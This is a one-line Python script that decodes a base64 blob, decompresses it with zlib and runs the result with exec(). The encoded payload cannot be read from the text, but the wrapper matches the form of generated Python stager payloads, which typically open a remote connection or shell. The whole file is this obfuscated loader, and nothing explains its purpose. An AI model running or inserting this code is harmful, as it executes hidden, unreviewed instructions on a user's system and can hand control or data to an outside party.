exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGEN3iT0sVhDxICKC601E2mRcQ9MkJFmtiv/dDVn2MsN78+bNh5mDjxknrybI/MeakY9Dgk7ylONeZZ7NDOjdR7xg43Ac3A7oqmUb1OT4fYhN6muzqImu+RFvH2/u37bPT7fXD6zohPLOgcqUkk5kFYTbRT8J4wlftVKuWVGNEYYJNbAoCLnYl/kiWYBALxiyfV1L7F0Y1ETJ1R3hSURQn1Qy9tK+It0fsWXo68NYwBYc1ezSHuz02al6XmmGYAFFy+VCg/JziJASrU8QYycLqaEo+S9JZJP+GPoHUg9hzw==')[0])))